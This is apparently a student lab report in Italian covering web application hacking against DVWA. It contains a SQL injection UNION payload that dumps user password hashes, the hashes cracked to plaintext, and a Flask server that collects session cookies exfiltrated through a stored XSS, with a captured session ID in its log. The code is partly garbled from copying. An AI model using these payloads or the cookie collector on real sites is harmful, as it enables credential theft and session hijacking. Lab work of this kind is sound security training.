## 5. Web application hacking

Recupero delle password degli utenti presenti sul DB (SQLi)

```
ID: 1' OR 1=1 UNION SELECT user, password FROM users #
First name: admin
Surname: admin
ID: 1' OR 1=1 UNION SELECT user, password FROM users #
First name: Gordon
Surname: Brown
ID: 1' OR 1=1 UNION SELECT user, password FROM users #
First name: Hack
ID: 1' OR 1=1 UNION SELECT user, password FROM users #
First name: Pablo
Surname: Picasso
ID: 1' OR 1=1 UNION SELECT user, password FROM users #
First name: Bob
ID: 1' OR 1=1 UNION SELECT user, password FROM users #
First name: admin
Surname: 5f4dcc3b5aa765d61d8327deb882cf99
ID: 1' OR 1=1 UNION SELECT user, password FROM users #
First name: gordonb
Surname: e99a18c428cb38d5f260853678922e03
ID: 1' OR 1=1 UNION SELECT user, password FROM users #
First name: 1337
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b
ID: 1' OR 1=1 UNION SELECT user, password FROM users #
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7
ID: 1' OR 1=1 UNION SELECT user, password FROM users #
First name: smithv
Surname: 5f4dcc3b5aa765d61d8327deb882cf99
```

Una volta ottenuti questi risultati andiamo a decodificare le password hashate per ottenere username e password effettive per ogni utente presente nel DB.

Decodifico le password con l'utilizzo di John the Ripper attraverso due file contenti lista di username e password.

Il risultato che otteniamo è il seguente:

admin: password gordonb: abc123 1337: charley pablo: letmein smithy: password

# -Recuperare i cookie di sessione delle vittime del XSS stored ed inviarli ad un server sotto il controllo dell'attaccante.

Creazione codice in python che funge da server e che riporta su un file txt tutti i cookie di sessione che recuperiamo dagli utenti

#### Codice python:

```
cookies.txt
 1 from flask import Flask, request, redirect
 2 from datetime import datetime
 3
 5 app = Flask(__name__) # create instance of the app
7 @app.route('/') # reindirizzamento creazione file
8 def cookie ():
 9 # cattura dei cookie e reindirizzati sul file"cookies.txt"
     cookie = request.args.get ('c')
f = open ("cookies.txt","a" )
10
11
      f.write(cookie + ' ' + str(datetime.now()) + '\n' )
12
13
      f.close()
14
15
       # reindirizzamento dell'utente alla pagina DVWA
       return redirect("http://192.168.50.101/dvwa/login.php")
16
17 if
               _ = "__main__":
18
       app.run (host = '0.0.0.0', port=5000) #0.0.0.0 - in ascolto per ogni ip
19
20
21
```

#### Inserimento dello script nella sezione XSS Stored.

Come nome inseriamo cookies e nello spazio del messaggio inseriamo lo script che ci permette di trasferire i cookie sul server creato.



### Lancio del programma python e intercetto cookie.

Una volta inserito lo script e riaperta la pagina di login di DVWA, inseriamo le credenziali di accesso e una volta dentro modifichiamo la security su low e accediamo nuovamente alle sezione XSS Stored.

```
(kali@ kali) - [~/Scrivania]
$ python xss.py

* Serving Flask app 'xss'

* Debug mode: off
MARNING: This is a development server. Do not use it in a production deployment. Use a production WSGI server instead.

* Running on all addresses (0.0.0.0)

* Running on http://127.0.0.1:5000

* Running on http://192.168.1.130:5000

Press CTRL+C to quit
127.0.0.1 - - [03/Mar/2023 16:29:28] "GET /?c=security=low;%20PHPSESSID=f55346c0244e16995c5648068df28e36 HTT P/1.1" 302 -
```

#### Controllo dell'inserimento dei cookie trovati nel file di testo.

In questo caso i cookie si riferisco a due accessi con utenti diversi, il primo con username 'admin' e password 'password' ed il secondo con username smithy e password 'password'

